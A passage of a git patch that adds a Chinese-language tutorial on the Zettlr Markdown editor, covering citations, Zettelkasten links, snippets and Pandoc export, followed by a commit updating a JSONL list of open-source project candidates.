核心概念拆解 + +### 1. Pandoc Markdown 方言 + +Zettlr 默认使用 **Pandoc Markdown**——比普通 GFM 更「学术」:复杂表格、图片题注、脚注、**引用与交叉引用** 等开箱可用。这意味着你写的 `.md` 最好按 Pandoc 规则来(尤其是引用和 div 语法),以便导出时不翻车。若目标平台只认 GFM,导出前需确认语法兼容性。 + +### 2. 工作区(Workspace)与项目(Project) + +启动时 Zettlr 让你打开一个 **根目录**(工作区),左侧是文件树。可把相关论文、笔记、素材收进同一棵树。**Project** 功能适合把多篇文件组织成「一本书」或「一个课题文件夹」,便于集中导出与管理——这是许多纯笔记应用没有的层次。 + +### 3. Zettelkasten 三件套:ID、链接、标签 + +| 机制 | 作用 | 典型用法 | +|------|------|----------| +| **Zettel ID** | 稳定标识一张卡片,重命名文件也不破链 | 偏好设置里定义 ID 模式,新建笔记自动生成 | +| **内部链接** | `[[文件名]]` 或 `[[ID\|显示文字]]` 显式连接概念 | 从「方法论」链到「案例 A」再链到「反例」 | +| **标签** | `#tag` 做隐式聚类 | 全文搜索 + 标签管理器浏览主题簇 | + +图谱视图把链接关系可视化,适合检查「孤岛笔记」和意外形成的概念簇。 + +### 4. 引用管线:文献库 → 编辑器 → Pandoc 导出 + +链路分三层: + +1. **全局配置**:偏好设置 → Citations,指向 Zotero(经 Better BibTeX 自动导出)或 JabRef 的 `.bib` 文件;可选默认 CSL 样式。 +2. **编辑时**:输入 `@` 触发 citekey 补全;Preview 模式 + citations 渲染器可预览文内引用。 +3. **单文件覆盖**:在文档 YAML 里声明 `bibliography` 和 `csl`,导出时 Pandoc 以文档为准。 + +Zettlr **不用 Zotero 图形化选文献窗口**,而是直接写 Pandoc 语法——熟练后往往比点选更快。 + +### 5. 导出配置(Export Profiles) + +导出由 **Pandoc** 执行。你在偏好里创建 **Profile**:选输出格式(PDF、docx、tex…)、关联 **模板**(LaTeX、Word)、默认参数。对同一篇稿子,换 Profile 就等于换期刊模板或投稿格式,无需改正文。 + +### 6. 编辑器模式与侧边栏 + +- **Markdown 模式**:看源码,适合精细改语法。 +- **Preview 模式**:类 WYSIWYG,引用、公式等可内联预览。 +- **分屏**:对照源码与预览。 +- **侧边栏**:目录、标签、**参考文献预览**、相关文件等。 + +### 7. 质量与写作辅助 + +集成 **LanguageTool**(拼写、语法、风格)、Markdown lint、写作统计、多语言界面(含简体中文)。代码块支持语法高亮;主题与 **自定义 CSS** 可深度改外观。 + +--- + +## 安装与第一次打开 + +### macOS + +```bash +brew install --cask zettlr +``` + +或从 [GitHub Releases](https://github.com/Zettlr/Zettlr/releases) 下载 `.dmg`。 + +### Windows / Linux + +官网与 Releases 提供安装包;Linux 常见为 AppImage 或发行版打包版本。首次启动会引导选择界面语言、默认主题、是否开启深色模式。 + +**建议第一次:** + +1. **File → Open Directory** 打开空文件夹作为工作区。 +2. 偏好设置 → **Zettelkasten**:开启文件 ID、设定 ID 格式(如时间戳)。 +3. 若有 Zotero:安装 **Better BibTeX**,配置自动导出 `.bib`;在 Zettlr **Citations** 里指向该文件。 +4. 新建 `0001-欢迎.md`,试写内部链接与一条 `@` 引用(有库时)。 + +--- + +## 代码示例 1:带参考文献的论文章节(YAML + Pandoc 引用) + +正式投稿前,文档顶部需要 YAML front matter,声明书目与 CSL 样式;正文用 Pandoc citekey,而不是手写「作者, 年份」。 + +```markdown +--- +title: "大语言模型在文献综述中的辅助边界" +author: + - 张三 + - 李四 +date: 2026-06-13 +bibliography: ~/references/my-library.bib +csl: https://www.zotero.org/styles/apa +lang: zh-CN +abstract: | + 本文讨论生成式 AI 辅助学术写作时的引用规范与幻觉风险。 +--- + +# 引言 + +近年来,自动化摘要与引文推荐工具快速发展 [@smith2023; @lee2024]。 +单一研究指出,未经人工核验的引用错误率仍不可忽视 [@chen2025, p. 42]。 + +## 方法 + +我们采用结构化文献检索,编码方案见 [@jones2022]。 + +# 参考文献 + + +``` + +**要点说明:** + +- `[@smith2023]` 为括号引用;`@lee2024` 可配合叙述写成「如 @lee2024 所示」类 in-text 形式(具体取决于 CSL)。 +- 多条引用用分号:`[@a; @b]`;页码加 `, p. 42`。 +- `bibliography` / `csl` 路径会传给 Pandoc;与偏好设置里的全局库可以不同,**以本文件 YAML 为准**。 +- 导出:**File → Export**(`Cmd/Ctrl+E`),选 PDF 或 DOCX Profile;Pandoc 格式化文内引用并生成文末书目。 + +--- + +## 代码示例 2:Zettelkasten 原子笔记与 Wiki 链接 + +一张卡片只记一个主张;用 ID 与链接把它挂进知识网络。下面模拟「读论文时拆出的两条 Zettel + 一条综述草稿」。 + +**文件 `202606131030-原子笔记-可复现性.md`:** + +```markdown +--- +id: 202606131030 +title: 可复现性危机不等于完全不可信 +tags: [方法论, 科学哲学] +--- + +# 可复现性危机不等于完全不可信 + +核心主张:复制失败应触发**机制审查**,而非简单否定原研究 [@openScience2015]。 + +相关:[[202606131045-原子笔记-统计功效]] 讨论样本量;[[综述草稿|当前综述进度]] 汇总成文。 +``` + +**文件 `202606131045-原子笔记-统计功效.md`:** + +```markdown +--- +id: 202606131045 +tags: [统计, 方法论] +--- + +# 低功效研究更易产生假阳性 + +见 [[202606131030-原子笔记-可复现性]]:两条线索应合并写进「局限」一节。 +``` + +**文件 `综述草稿.md`(项目主文档片段):** + +```markdown +## 局限 + +如 @202606131030 与 @202606131045 所示,本综述承认发表偏倚与功效不足并存 [#meta-analysis]。 +``` + +**操作习惯:** + +- 偏好设置可开启 **「尽量用文件 ID 作为链接目标」**,重命名 `...-可复现性.md` 时链接仍有效。 +- `[[目标|标题]]` 中「链接格式」需在偏好 → Zettelkasten → Internal links 里指定 pipe 两侧何者为目标。 +- 标签 `#meta-analysis` 与文内标签语法配合,便于标签管理器批量浏览。 +- 写长文时从图谱或反向链接找「谁引用了这张卡片」,把 Zettel 链成章节段落。 + +--- + +## 代码示例 3:Snippet 快速插入论文模板(可选进阶) + +在 Assets Manager 新建 snippet `paper-chapter`(文件扩展名 `.tpl.md`),编辑器里行首输入 `:paper` 选补全,Tab 填空: + +```markdown +--- +title: "${1:章节标题}" +date: $CURRENT_YEAR-$CURRENT_MONTH-$CURRENT_DATE +id: $ZKN_ID +--- + +# ${1:章节标题} + +## 论点 + +$2 + +## 证据与引用 + +$3 + +## 小结 + +$0 +``` + +`$1` 出现两次会 **同步修改**(标题与一级标题一致);`$ZKN_ID` 自动填入 Zettel ID;`$0` 是结束光标位置。Esc 可中止插入流程。 + +--- + +## 与同类工具怎么选 + +| 维度 | Zettlr | Obsidian | Typora | MarkText | +|------|--------|----------|--------|----------| +| 开源 | ✅ GPL | 闭源免费 | 付费 | ✅ MIT | +| 原生 Zotero / BibTeX 引用 | ✅ | 需插件 | ❌ | ❌ | +| 引用预览 | ✅ | 有限 | ❌ | ❌ | +| Pandoc 一键导出 + 模板 | ✅ | 插件 | 部分 | 部分 | +| Zettelkasten / 图谱 | ✅ | ✅ | ❌ | ❌ | +| 实时 WYSIWYG | Preview 模式 | 插件 | ✅ | ✅ | + +若你 **主要是博客、技术文档、少引用**,MarkText / Typora 更轻。若 **读文献、写论文、维护卡片盒、换 CSL 投稿**,Zettlr 的集成度更高。 + +--- + +## 推荐工作流(Zotero + Better BibTeX + Zettlr) + +1. **Zotero** 装 Better BibTeX,设稳定 citekey 规则,开启 **自动导出** 到固定路径如 `~/references/my-library.bib`。 +2. **Zettlr** 偏好 → Citations 指向该 `.bib` 与常用 CSL(可从 [Zotero Style Repository](https://www.zotero.org/styles) 下载)。 +3. **日常**:读论文 → 拆 Zettel → `[[链接]]` + `@citekey` 挂证据。 +4. **成稿**:合并进带 YAML 的主文档 → Export 选期刊 Profile → 交 DOCX/PDF。 +5. **版本管理**:全程 `.md` + `.bib` 可进 Git;大二进制模板单独存放。 + +--- + +## 常见问题 + +**Q:导出 PDF 报 Pandoc 错误?** +检查是否安装 Pandoc、LaTeX(若 Profile 走 pdflatex/xelatex)。中文 PDF 常需在模板或变量里指定 `xelatex` 与 `CJKmainfont`。 + +**Q:`@` 不出补全?** +确认 Citations 已指向有效 `.bib`;`@` 须在行首、空格后或 `[` 后;库文件需含对应 citekey。 + +**Q:和 Obsidian 双开会乱吗?** +两者都读 plain Markdown,但 Wiki 链接、ID、部分 YAML 约定可能不同。选一个作「真源」,另一个只读或统一约定。 + +**Q:一定要 Zettelkasten 吗?** +不必。官方手册坦言:有人更高效,有人更慢;Zettlr 也适合 **不开卡片盒、只当带引用的 Markdown IDE** 用。 + +--- + +## 小结 + +| 你学到什么 | 一句话 | +|------------|--------| +| 定位 | 学者向、本地优先的 Markdown 工作台,不是通用记事本 | +| 方言 | Pandoc Markdown + YAML front matter 驱动导出 | +| 知识管理 | ID + `[[wiki链接]]` + 标签 + 图谱 | +| 引用 | `.bib` + `@citekey` + CSL,导出时 Pandoc 排版书目 | +| 效率 | Snippets、Projects、分屏 Preview、LanguageTool | + +下一步:用你自己的一个小课题(课程 essay、读书报告即可)建 10 张 Zettel、接一本 Zotero 库、导出一份 PDF,走通 **卡片 → 引用 → 投稿格式** 全链路;比只看功能列表更能判断 Zettlr 是否适合你的脑子。 + +--- + +## 参考链接 + +- 官网与功能对比:[zettlr.com/features](https://zettlr.com/features) +- 用户手册:[docs.zettlr.com](https://docs.zettlr.com) +- PKMS / Zettelkasten:[docs.zettlr.com/en/pkms/](https://docs.zettlr.com/en/pkms/) +- 引用:[docs.zettlr.com/en/editor/citations/](https://docs.zettlr.com/en/editor/citations/) +- Snippets:[docs.zettlr.com/en/editor/snippets/](https://docs.zettlr.com/en/editor/snippets/) +- 源码:[github.com/Zettlr/Zettlr](https://github.com/Zettlr/Zettlr) +- Zotero 工作流示例:[tiagojct.eu/notes/zettlr-zotero](https://tiagojct.eu/notes/zettlr-zotero/) From 54a8b42e50b5dc4f98c20e3cff784bd8cfa67f26 Mon Sep 17 00:00:00 2001 From: estelledc Date: Sat, 13 Jun 2026 12:27:36 +0800 Subject: [PATCH 04/49] =?UTF-8?q?chore:=20sync=20written=E3=80=81classific?= =?UTF-8?q?ation=20=E4=B8=8E=20atlas=EF=BC=88=E7=AC=AC=203=20=E8=BD=AE?= =?UTF-8?q?=EF=BC=89?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 更新 candidates/written 状态、分类索引,并重建 papers/projects atlas 以反映本轮批量笔记。 Co-authored-by: Cursor --- data/candidates.jsonl | 1084 +++++++++++++-------------- data/classification-unresolved.json | 2 +- data/classification.jsonl | 992 ++---------------------- data/written.txt | 80 ++ src/content/docs/papers-atlas.md | 102 ++- src/content/docs/projects-atlas.md | 130 +++- 6 files changed, 862 insertions(+), 1528 deletions(-) diff --git a/data/candidates.jsonl b/data/candidates.jsonl index 52c643aea..fccf80d6f 100644 --- a/data/candidates.jsonl +++ b/data/candidates.jsonl @@ -1218,25 +1218,25 @@ {"slug":"lazyvim","area":"projects","topic":"editors","title":"LazyVim — lazy.nvim 驱动的发行","meta":{"col3":"~22k","col4":"folke 出品,按需懒加载 + 完整 IDE,Neovim 当代主流"},"url":"https://github.com/LazyVim/LazyVim","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-editors.md"} {"slug":"nvchad","area":"projects","topic":"editors","title":"NvChad — 极致美观的 Neovim 配置","meta":{"col3":"~26k","col4":"0.5 秒启动 + 主题切换 UI,前端工程师的 Neovim 选择"},"url":"https://github.com/NvChad/NvChad","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-editors.md"} {"slug":"astronvim","area":"projects","topic":"editors","title":"AstroNvim — 社区驱动 Neovim 配置","meta":{"col3":"~14k","col4":"模块化 + 插件市场,现代 Neovim 配置范例"},"url":"https://github.com/AstroNvim/AstroNvim","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-editors.md"} -{"slug":"theia","area":"projects","topic":"editors","title":"Eclipse Theia — 云原生 IDE 框架","meta":{"col3":"~21k","col4":"VS Code 协议兼容 + 插件互通,可定制企业级云 IDE 基座"},"url":"https://github.com/eclipse-theia/theia","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-editors.md"} -{"slug":"code-server","area":"projects","topic":"editors","title":"code-server — 浏览器里的 VS Code","meta":{"col3":"~73k","col4":"单机部署即可远程访问完整 VS Code,云端开发普及代表"},"url":"https://github.com/coder/code-server","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-editors.md"} -{"slug":"openvscode-server","area":"projects","topic":"editors","title":"OpenVSCode Server — VS Code Server 上游","meta":{"col3":"~7k","col4":"Gitpod 维护的最小化补丁,让 microsoft/vscode 跑在远程"},"url":"https://github.com/gitpod-io/openvscode-server","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-editors.md"} -{"slug":"coder","area":"projects","topic":"editors","title":"Coder — 自托管开发环境平台","meta":{"col3":"~10k","col4":"Terraform 描述工作区 + SSH/VS Code/JetBrains 多入口,企业 DevBox"},"url":"https://github.com/coder/coder","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-editors.md"} -{"slug":"gitpod","area":"projects","topic":"editors","title":"Gitpod — 预构建云开发环境","meta":{"col3":"~13k","col4":"把 git 仓库变成\"prebuilt 工作区\",cloud workspace 鼻祖"},"url":"https://github.com/gitpod-io/gitpod","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-editors.md"} -{"slug":"eclipse-che","area":"projects","topic":"editors","title":"Eclipse Che — Kubernetes 原生云 IDE","meta":{"col3":"~7k","col4":"DevWorkspace + Devfile 标准化云 IDE 描述,企业级方案"},"url":"https://github.com/eclipse/che","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-editors.md"} -{"slug":"aider","area":"projects","topic":"editors","title":"Aider — 终端 AI 结对编程 CLI","meta":{"col3":"~36k","col4":"git-aware 的 CLI 编辑会话,把 LLM 编辑直接 commit 到仓库"},"url":"https://github.com/Aider-AI/aider","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-editors.md"} -{"slug":"cline","area":"projects","topic":"editors","title":"Cline — VS Code 自主编码代理","meta":{"col3":"~50k","col4":"\"看代码 + 改代码 + 跑命令\"全自主 VS Code agent"},"url":"https://github.com/cline/cline","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-editors.md"} -{"slug":"void","area":"projects","topic":"editors","title":"Void — 开源 Cursor 替代","meta":{"col3":"~24k","col4":"VS Code fork,自带 AI chat / inline edit / agent,模型自托管"},"url":"https://github.com/voideditor/void","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-editors.md"} -{"slug":"opencode","area":"projects","topic":"editors","title":"opencode — SST 出品的终端 AI IDE","meta":{"col3":"~12k","col4":"终端里的 100% TypeScript AI 编程助手,多模型可切换"},"url":"https://github.com/sst/opencode","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-editors.md"} -{"slug":"roo-code","area":"projects","topic":"editors","title":"Roo Code — 多模式 VS Code AI 助手","meta":{"col3":"~16k","col4":"Cline 分叉,加 architect/code/debug 多角色切换"},"url":"https://github.com/RooCodeInc/Roo-Code","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-editors.md"} -{"slug":"marktext","area":"projects","topic":"editors","title":"MarkText — 实时预览 Markdown 编辑器","meta":{"col3":"~52k","col4":"\"所见即所得\"风格 markdown,无双栏切换的纯净写作"},"url":"https://github.com/marktext/marktext","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-editors.md"} -{"slug":"zettlr","area":"projects","topic":"editors","title":"Zettlr — 学者向 Markdown 编辑器","meta":{"col3":"~10k","col4":"Citation/BibTeX/Pandoc 内置,论文写作首选 markdown 工具"},"url":"https://github.com/Zettlr/Zettlr","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-editors.md"} -{"slug":"ghostwriter","area":"projects","topic":"editors","title":"ghostwriter — Qt 干净 Markdown 写作器","meta":{"col3":"~2.5k","col4":"暗色专注 + Hemingway 风格高亮,长文写作首选"},"url":"https://github.com/wereturtle/ghostwriter","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-editors.md"} -{"slug":"foam","area":"projects","topic":"editors","title":"Foam — VS Code 上的 Roam-like","meta":{"col3":"~17k","col4":"把 VS Code 改造成 Zettelkasten 工作流,纯 markdown + 双链"},"url":"https://github.com/foambubble/foam","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-editors.md"} -{"slug":"silverbullet","area":"projects","topic":"editors","title":"SilverBullet — 自托管笔记 web 应用","meta":{"col3":"~3k","col4":"TS 实现的 markdown + 反查链 + 插件即代码块"},"url":"https://github.com/silverbulletmd/silverbullet","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-editors.md"} -{"slug":"logseq","area":"projects","topic":"editors","title":"Logseq — 块结构离线知识库","meta":{"col3":"~36k","col4":"\"段落即图节点\"的 Roam 开源对标,本地优先 + 双链全文"},"url":"https://github.com/logseq/logseq","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-editors.md"} -{"slug":"joplin","area":"projects","topic":"editors","title":"Joplin — 开源 Evernote 替代","meta":{"col3":"~50k","col4":"E2E 加密 + 多设备同步 + Markdown,跨平台个人笔记标杆"},"url":"https://github.com/laurent22/joplin","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-editors.md"} -{"slug":"anytype-ts","area":"projects","topic":"editors","title":"Anytype — 本地优先块编辑器","meta":{"col3":"~5k","col4":"P2P + E2E + 类型化对象图,去中心化 Notion 思路"},"url":"https://github.com/anyproto/anytype-ts","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-editors.md"} +{"slug":"theia","area":"projects","topic":"editors","title":"Eclipse Theia — 云原生 IDE 框架","meta":{"col3":"~21k","col4":"VS Code 协议兼容 + 插件互通,可定制企业级云 IDE 基座"},"url":"https://github.com/eclipse-theia/theia","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-editors.md","written_at":"2026-06-13T03:19:30.216Z"} +{"slug":"code-server","area":"projects","topic":"editors","title":"code-server — 浏览器里的 VS Code","meta":{"col3":"~73k","col4":"单机部署即可远程访问完整 VS Code,云端开发普及代表"},"url":"https://github.com/coder/code-server","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-editors.md","written_at":"2026-06-13T03:19:32.315Z"} +{"slug":"openvscode-server","area":"projects","topic":"editors","title":"OpenVSCode Server — VS Code Server 上游","meta":{"col3":"~7k","col4":"Gitpod 维护的最小化补丁,让 microsoft/vscode 跑在远程"},"url":"https://github.com/gitpod-io/openvscode-server","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-editors.md","written_at":"2026-06-13T03:23:59.393Z"} +{"slug":"coder","area":"projects","topic":"editors","title":"Coder — 自托管开发环境平台","meta":{"col3":"~10k","col4":"Terraform 描述工作区 + SSH/VS Code/JetBrains 多入口,企业 DevBox"},"url":"https://github.com/coder/coder","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-editors.md"} +{"slug":"gitpod","area":"projects","topic":"editors","title":"Gitpod — 预构建云开发环境","meta":{"col3":"~13k","col4":"把 git 仓库变成\"prebuilt 工作区\",cloud workspace 鼻祖"},"url":"https://github.com/gitpod-io/gitpod","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-editors.md"} +{"slug":"eclipse-che","area":"projects","topic":"editors","title":"Eclipse Che — Kubernetes 原生云 IDE","meta":{"col3":"~7k","col4":"DevWorkspace + Devfile 标准化云 IDE 描述,企业级方案"},"url":"https://github.com/eclipse/che","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-editors.md","written_at":"2026-06-13T03:35:44.694Z"} +{"slug":"aider","area":"projects","topic":"editors","title":"Aider — 终端 AI 结对编程 CLI","meta":{"col3":"~36k","col4":"git-aware 的 CLI 编辑会话,把 LLM 编辑直接 commit 到仓库"},"url":"https://github.com/Aider-AI/aider","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-editors.md","written_at":"2026-06-13T03:38:46.315Z"} +{"slug":"cline","area":"projects","topic":"editors","title":"Cline — VS Code 自主编码代理","meta":{"col3":"~50k","col4":"\"看代码 + 改代码 + 跑命令\"全自主 VS Code agent"},"url":"https://github.com/cline/cline","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-editors.md","written_at":"2026-06-13T03:41:02.265Z"} +{"slug":"void","area":"projects","topic":"editors","title":"Void — 开源 Cursor 替代","meta":{"col3":"~24k","col4":"VS Code fork,自带 AI chat / inline edit / agent,模型自托管"},"url":"https://github.com/voideditor/void","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-editors.md","written_at":"2026-06-13T03:46:04.723Z"} +{"slug":"opencode","area":"projects","topic":"editors","title":"opencode — SST 出品的终端 AI IDE","meta":{"col3":"~12k","col4":"终端里的 100% TypeScript AI 编程助手,多模型可切换"},"url":"https://github.com/sst/opencode","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-editors.md"} +{"slug":"roo-code","area":"projects","topic":"editors","title":"Roo Code — 多模式 VS Code AI 助手","meta":{"col3":"~16k","col4":"Cline 分叉,加 architect/code/debug 多角色切换"},"url":"https://github.com/RooCodeInc/Roo-Code","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-editors.md","written_at":"2026-06-13T03:54:57.277Z"} +{"slug":"marktext","area":"projects","topic":"editors","title":"MarkText — 实时预览 Markdown 编辑器","meta":{"col3":"~52k","col4":"\"所见即所得\"风格 markdown,无双栏切换的纯净写作"},"url":"https://github.com/marktext/marktext","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-editors.md"} +{"slug":"zettlr","area":"projects","topic":"editors","title":"Zettlr — 学者向 Markdown 编辑器","meta":{"col3":"~10k","col4":"Citation/BibTeX/Pandoc 内置,论文写作首选 markdown 工具"},"url":"https://github.com/Zettlr/Zettlr","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-editors.md","written_at":"2026-06-13T04:01:26.271Z"} +{"slug":"ghostwriter","area":"projects","topic":"editors","title":"ghostwriter — Qt 干净 Markdown 写作器","meta":{"col3":"~2.5k","col4":"暗色专注 + Hemingway 风格高亮,长文写作首选"},"url":"https://github.com/wereturtle/ghostwriter","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-editors.md","written_at":"2026-06-13T04:06:28.440Z"} +{"slug":"foam","area":"projects","topic":"editors","title":"Foam — VS Code 上的 Roam-like","meta":{"col3":"~17k","col4":"把 VS Code 改造成 Zettelkasten 工作流,纯 markdown + 双链"},"url":"https://github.com/foambubble/foam","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-editors.md","written_at":"2026-06-13T04:11:30.607Z"} +{"slug":"silverbullet","area":"projects","topic":"editors","title":"SilverBullet — 自托管笔记 web 应用","meta":{"col3":"~3k","col4":"TS 实现的 markdown + 反查链 + 插件即代码块"},"url":"https://github.com/silverbulletmd/silverbullet","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-editors.md"} +{"slug":"logseq","area":"projects","topic":"editors","title":"Logseq — 块结构离线知识库","meta":{"col3":"~36k","col4":"\"段落即图节点\"的 Roam 开源对标,本地优先 + 双链全文"},"url":"https://github.com/logseq/logseq","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-editors.md","written_at":"2026-06-13T04:20:08.771Z"} +{"slug":"joplin","area":"projects","topic":"editors","title":"Joplin — 开源 Evernote 替代","meta":{"col3":"~50k","col4":"E2E 加密 + 多设备同步 + Markdown,跨平台个人笔记标杆"},"url":"https://github.com/laurent22/joplin","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-editors.md","written_at":"2026-06-13T04:23:29.382Z"} +{"slug":"anytype-ts","area":"projects","topic":"editors","title":"Anytype — 本地优先块编辑器","meta":{"col3":"~5k","col4":"P2P + E2E + 类型化对象图,去中心化 Notion 思路"},"url":"https://github.com/anyproto/anytype-ts","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-editors.md"} {"slug":"trilium","area":"projects","topic":"editors","title":"Trilium — 树形层级笔记系统","meta":{"col3":"~30k","col4":"服务端 + 客户端架构,超大笔记树 + 关系图 + 脚本"},"url":"https://github.com/zadam/trilium","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-editors.md"} {"slug":"siyuan","area":"projects","topic":"editors","title":"SiYuan — 国产块结构笔记","meta":{"col3":"~24k","col4":"思源笔记,本地优先 + 双链 + 自托管 + 中文优化"},"url":"https://github.com/siyuan-note/siyuan","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-editors.md"} {"slug":"appflowy","area":"projects","topic":"editors","title":"AppFlowy — Rust 写的开源 Notion","meta":{"col3":"~64k","col4":"Flutter 客户端 + Rust 内核,自托管 Notion 对标的最大项目"},"url":"https://github.com/AppFlowy-IO/AppFlowy","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-editors.md"} @@ -1273,24 +1273,24 @@ {"slug":"lwip","area":"projects","topic":"embedded","title":"lwIP","meta":{"col3":"轻量级 TCP/IP 协议栈,~40KB ROM 跑 IPv4/6 + TCP + DHCP,FreeRTOS / Zephyr 默认网卡栈","col4":"2.6k"},"url":"https://github.com/lwip-tcpip/lwip","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-embedded.md"} {"slug":"mbedtls","area":"projects","topic":"embedded","title":"Mbed TLS","meta":{"col3":"Arm 维护的小型 TLS 1.3 / X.509 / 加密原语库,ESP-IDF / Zephyr 默认 TLS 后端","col4":"5.9k"},"url":"https://github.com/Mbed-TLS/mbedtls","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-embedded.md"} {"slug":"freemodbus","area":"projects","topic":"embedded","title":"FreeModbus","meta":{"col3":"工业现场总线 Modbus RTU / TCP 主从机协议栈 C 实现,PLC 通信学习样本","col4":"0.7k"},"url":"https://github.com/cwalter-at/freemodbus","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-embedded.md"} -{"slug":"openthread","area":"projects","topic":"embedded","title":"OpenThread","meta":{"col3":"Google 开源的 Thread 1.3 协议实现,IPv6 over 802.15.4 mesh 事实标准","col4":"3.7k"},"url":"https://github.com/openthread/openthread","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-embedded.md"} -{"slug":"sdk-nrf","area":"projects","topic":"embedded","title":"Nordic Connect SDK","meta":{"col3":"Nordic nRF52/nRF53/nRF54 全家桶 SDK,BLE / Thread / Matter / 蜂窝 IoT 一体","col4":"1.7k"},"url":"https://github.com/nrfconnect/sdk-nrf","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-embedded.md"} -{"slug":"lora-mac-node","area":"projects","topic":"embedded","title":"LoRaMac-node","meta":{"col3":"LoRa Alliance 参考实现,LoRaWAN MAC 层 + 区域参数 + Class A/B/C 完整","col4":"1.9k"},"url":"https://github.com/Lora-net/LoRaMac-node","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-embedded.md"} -{"slug":"mosquitto","area":"projects","topic":"embedded","title":"Eclipse Mosquitto","meta":{"col3":"C 写的 MQTT broker 事实标准,~30k 行,IoT 入门 broker 首选","col4":"9.5k"},"url":"https://github.com/eclipse-mosquitto/mosquitto","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-embedded.md"} -{"slug":"nanomq","area":"projects","topic":"embedded","title":"NanoMQ","meta":{"col3":"C 写的边缘超轻量 MQTT broker,单线程 / 100KB 二进制,运行在网关 / 容器侧","col4":"1.9k"},"url":"https://github.com/nanomq/nanomq","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-embedded.md"} -{"slug":"tflite-micro","area":"projects","topic":"embedded","title":"TensorFlow Lite Micro","meta":{"col3":"Google 的微控制器 TF Lite runtime,~16KB ROM 跑 INT8 推理,无 OS / 无 malloc","col4":"2.5k"},"url":"https://github.com/tensorflow/tflite-micro","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-embedded.md"} -{"slug":"esp-dl","area":"projects","topic":"embedded","title":"ESP-DL","meta":{"col3":"Espressif 的 ESP32 神经网络推理库,针对 ESP32-S3 向量指令优化","col4":"1.1k"},"url":"https://github.com/espressif/esp-dl","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-embedded.md"} -{"slug":"cmsis-nn","area":"projects","topic":"embedded","title":"CMSIS-NN","meta":{"col3":"Arm 的 Cortex-M 神经网络算子库,SIMD/Helium 加速,TFLM 默认后端","col4":"1k"},"url":"https://github.com/ARM-software/CMSIS-NN","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-embedded.md"} -{"slug":"ncnn","area":"projects","topic":"embedded","title":"ncnn","meta":{"col3":"腾讯开源的端侧 CPU 推理框架,无第三方依赖,ARM NEON / Vulkan 双后端","col4":"21k"},"url":"https://github.com/Tencent/ncnn","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-embedded.md"} -{"slug":"paddle-lite","area":"projects","topic":"embedded","title":"Paddle Lite","meta":{"col3":"百度的端侧轻量推理引擎,支持 ARM CPU / GPU / NPU / FPGA,模型转换 + 运行时一体","col4":"7k"},"url":"https://github.com/PaddlePaddle/Paddle-Lite","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-embedded.md"} -{"slug":"klipper","area":"projects","topic":"embedded","title":"Klipper","meta":{"col3":"Python + C 双进程 3D 打印固件,运动学算到主机减压主控,开源圈最先进","col4":"10k"},"url":"https://github.com/Klipper3d/klipper","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-embedded.md"} -{"slug":"marlin","area":"projects","topic":"embedded","title":"Marlin Firmware","meta":{"col3":"8-bit / 32-bit MCU 上跑的开源 3D 打印固件,G-code 解析教科书","col4":"16k"},"url":"https://github.com/MarlinFirmware/Marlin","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-embedded.md"} -{"slug":"grbl","area":"projects","topic":"embedded","title":"grbl","meta":{"col3":"Arduino UNO 上跑的 G-code 解释器,~30 年的 CNC 控制鼻祖,500 行运动规划核心","col4":"6.4k"},"url":"https://github.com/gnea/grbl","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-embedded.md"} 